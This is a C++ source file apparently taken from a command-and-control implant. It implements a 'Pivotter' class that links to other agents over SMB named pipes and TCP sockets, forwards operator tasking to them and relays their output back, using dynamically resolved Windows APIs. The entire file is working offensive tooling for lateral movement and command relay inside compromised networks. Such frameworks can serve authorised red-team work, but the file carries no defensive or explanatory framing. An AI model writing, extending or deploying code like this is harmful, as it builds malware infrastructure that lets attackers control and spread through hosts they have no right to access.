#include "Pivotter.h" void* Pivotter::operator new(size_t sz) { void* p = MemAllocLocal(sz); return p; } void Pivotter::operator delete(void* p) noexcept { MemFreeLocal(&p, sizeof(Pivotter)); } void Pivotter::LinkPivotSMB(ULONG taskId, ULONG commandId, CHAR* pipename, Packer* outPacker) { HANDLE hPipe; DWORD startTickCount = ApiWin->GetTickCount() + 5000; while (1) { hPipe = ApiWin->CreateFileA(pipename, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OPEN_NO_RECALL, NULL); if (INVALID_HANDLE_VALUE != hPipe) break; if (ApiWin->GetLastError() == ERROR_PIPE_BUSY) ApiWin->WaitNamedPipeA(pipename, 2000); else ApiWin->Sleep(1000); if (ApiWin->GetTickCount() >= startTickCount) { outPacker->Pack32(taskId); outPacker->Pack32(0x1111ffff); // COMMAND_ERROR outPacker->Pack32(TEB->LastErrorValue); return; } } DWORD dwMode = PIPE_READMODE_MESSAGE; if (ApiWin->SetNamedPipeHandleState(hPipe, &dwMode, NULL, NULL)) { if (PeekNamedPipeTime(hPipe, 5000)) { LPVOID buffer = NULL; ULONG bufferSize = 0; DWORD readedBytes = ReadDataFromPipe(hPipe, &buffer, &bufferSize); if (readedBytes > 4 && buffer) { PivotData pivotData = { 0 }; pivotData.Id = taskId; pivotData.Channel = hPipe; pivotData.Type = PIVOT_TYPE_SMB; this->pivots.push_back(pivotData); outPacker->Pack32(taskId); outPacker->Pack32(commandId); outPacker->Pack8(pivotData.Type); outPacker->Pack32(*((ULONG*)buffer)); outPacker->PackBytes((PBYTE)buffer + 4, readedBytes - 4); MemFreeLocal(&buffer, bufferSize); return; } else { if (buffer && bufferSize) MemFreeLocal(&buffer, bufferSize); } } } ApiWin->DisconnectNamedPipe(hPipe); ApiNt->NtClose(hPipe); outPacker->Pack32(taskId); outPacker->Pack32(0x1111ffff); // COMMAND_ERROR outPacker->Pack32(TEB->LastErrorValue); } BOOL CheckSocketState(SOCKET sock, int timeoutMs) { ULONG endTime = ApiWin->GetTickCount() + timeoutMs; while (ApiWin->GetTickCount() < endTime) { fd_set readfds; readfds.fd_count = 1; readfds.fd_array[0] = sock; timeval timeout = { 0, 100 }; int selResult = ApiWin->select(0, &readfds, NULL, NULL, &timeout); if (selResult == 0) return TRUE; if (selResult == SOCKET_ERROR) return FALSE; char buf; int recvResult = ApiWin->recv(sock, &buf, 1, MSG_PEEK); if (recvResult == 0) return FALSE; if (recvResult < 0) { int err = ApiWin->WSAGetLastError(); if (err == WSAEWOULDBLOCK) return TRUE; } else return TRUE; } return FALSE; } void Pivotter::LinkPivotTCP(ULONG taskId, ULONG commandId, CHAR* address, WORD port, Packer* outPacker) { ULONG err = 0; WSAData wsaData; if (ApiWin->WSAStartup(514, &wsaData)) { err = ApiWin->WSAGetLastError(); ApiWin->WSACleanup(); } else { SOCKET sock = ApiWin->socket(AF_INET, SOCK_STREAM, 0); if (sock != -1) { hostent* host = ApiWin->gethostbyname(address); if (host) { sockaddr_in socketAddress; memcpy(&socketAddress.sin_addr, *(const void**)host->h_addr_list, host->h_length); //memmove socketAddress.sin_family = AF_INET; socketAddress.sin_port = _htons(port); u_long mode = 0; if (ApiWin->ioctlsocket(sock, FIONBIO, &mode) != -1) { if (!(ApiWin->connect(sock, (sockaddr*)&socketAddress, 16) == -1 && ApiWin->WSAGetLastError() != WSAEWOULDBLOCK)) { if (PeekSocketTime(sock, 5000)) { LPVOID buffer = NULL; ULONG bufferSize = 0; DWORD readedBytes = ReadDataFromSocket(sock, &buffer, &bufferSize); if (readedBytes > 4 && buffer) { PivotData pivotData = { 0 }; pivotData.Id = taskId; pivotData.Socket = sock; pivotData.Type = PIVOT_TYPE_TCP; this->pivots.push_back(pivotData); outPacker->Pack32(taskId); outPacker->Pack32(commandId); outPacker->Pack8(pivotData.Type); outPacker->Pack32(*((ULONG*)buffer)); outPacker->PackBytes((BYTE*)buffer + 4, readedBytes - 4); MemFreeLocal((LPVOID*)&buffer, bufferSize); return; } else { if (buffer && bufferSize) MemFreeLocal((LPVOID*)&buffer, bufferSize); err = ApiWin->WSAGetLastError(); } } else err = ERROR_CONNECTION_REFUSED; } else err = ApiWin->WSAGetLastError(); ApiWin->closesocket(sock); } else err = ApiWin->WSAGetLastError(); } else err = ERROR_BAD_NET_NAME; } else err = ApiWin->WSAGetLastError(); } outPacker->Pack32(taskId); outPacker->Pack32(0x1111ffff); // COMMAND_ERROR outPacker->Pack32(err); } void Pivotter::UnlinkPivot(ULONG taskId, ULONG commandId, ULONG pivotId, Packer* outPacker) { ULONG result = FALSE; PivotData* pivotData = NULL; for (int i = 0; i < this->pivots.size(); i++) { pivotData = &(this->pivots[i]); if (pivotData->Id == pivotId) { if (pivotData->Type == PIVOT_TYPE_SMB) { if (pivotData->Channel) { ApiWin->DisconnectNamedPipe(pivotData->Channel); ApiNt->NtClose(pivotData->Channel); } } else if (pivotData->Type == PIVOT_TYPE_TCP) { ApiWin->shutdown(pivotData->Socket, 2); ApiWin->closesocket(pivotData->Socket); } result = pivotData->Type; this->pivots.remove(i); break; } } pivotData = NULL; outPacker->Pack32(taskId); outPacker->Pack32(commandId); outPacker->Pack32(pivotId); outPacker->Pack8(result); } void Pivotter::WritePivot(ULONG pivotId, BYTE* data, ULONG size) { if (data == NULL || size == 0) return; PivotData* pivotData = NULL; for (int i = 0; i < this->pivots.size(); i++) { pivotData = &(this->pivots[i]); if (pivotData->Id == pivotId) { if (pivotData->Type == PIVOT_TYPE_SMB) { if (pivotData->Channel) WriteDataToPipe(pivotData->Channel, data, size); } else if (pivotData->Type == PIVOT_TYPE_TCP) { timeval timeout = { 0, 100 }; fd_set exceptfds; fd_set writefds; writefds.fd_array[0] = pivotData->Socket; writefds.fd_count = 1; exceptfds.fd_array[0] = writefds.fd_array[0]; exceptfds.fd_count = 1; ApiWin->select(0, 0, &writefds, &exceptfds, &timeout); if (ApiWin->__WSAFDIsSet(pivotData->Socket, &exceptfds)) break; if (ApiWin->__WSAFDIsSet(pivotData->Socket, &writefds)) { if (ApiWin->send(pivotData->Socket, (const char*)&size, 4, 0) != -1 || ApiWin->WSAGetLastError() != WSAEWOULDBLOCK) ApiWin->send(pivotData->Socket, (const char*)data, size, 0); } } break; } } pivotData = NULL; } void Pivotter::ProcessPivots(Packer* packer) { if ( !this->pivots.size() ) return; PivotData* pivotData = NULL; for (int i = 0; i < this->pivots.size(); i++) { pivotData = &this->pivots[i]; if (pivotData->Type == PIVOT_TYPE_SMB) { if (pivotData->Channel) { if (PeekNamedPipeTime(pivotData->Channel, 0)) { LPVOID mallocBuffer = NULL; ULONG mallocSize = 0; DWORD readedBytes = ReadDataFromPipe(pivotData->Channel, &mallocBuffer, &mallocSize); if (readedBytes != -1) { packer->Pack32(0); packer->Pack32(COMMAND_PIVOT_EXEC); packer->Pack32(pivotData->Id); packer->PackBytes((PBYTE)mallocBuffer, readedBytes); } if(mallocBuffer && mallocSize) MemFreeLocal(&mallocBuffer, readedBytes); } else { if (TEB->LastErrorValue == ERROR_BROKEN_PIPE) { TEB->LastErrorValue = 0; ApiWin->DisconnectNamedPipe(pivotData->Channel); ApiNt->NtClose(pivotData->Channel); packer->Pack32(0); packer->Pack32(COMMAND_UNLINK); packer->Pack32(pivotData->Id); packer->Pack8(PIVOT_TYPE_DISCONNECT); this->pivots.remove(i); i--; } } } } else if (pivotData->Type == PIVOT_TYPE_TCP) { if ( CheckSocketState(pivotData->Socket, 2500) ) { LPVOID buffer = NULL; ULONG dataLength = 0; ULONG readed = 0; DWORD res = ApiWin->ioctlsocket(pivotData->Socket, FIONREAD, &dataLength); if (res != -1 && dataLength >= 4) { dataLength = 0; readed = ReadFromSocket(pivotData->Socket, (PCHAR)&dataLength, 4); if (readed == 4 && dataLength) { buffer = MemAllocLocal(dataLength); readed = ReadFromSocket(pivotData->Socket, (PCHAR)buffer, dataLength); if (readed != -1) { packer->Pack32(0); packer->Pack32(COMMAND_PIVOT_EXEC); packer->Pack32(pivotData->Id); packer->PackBytes((BYTE*)buffer, readed); } if (buffer && dataLength) MemFreeLocal((LPVOID*)&buffer, dataLength); } } } else { ApiWin->shutdown(pivotData->Socket, 2); ApiWin->closesocket(pivotData->Socket); packer->Pack32(0); packer->Pack32(COMMAND_UNLINK); packer->Pack32(pivotData->Id); packer->Pack8(PIVOT_TYPE_DISCONNECT); this->pivots.remove(i); i--; } } } pivotData = NULL; }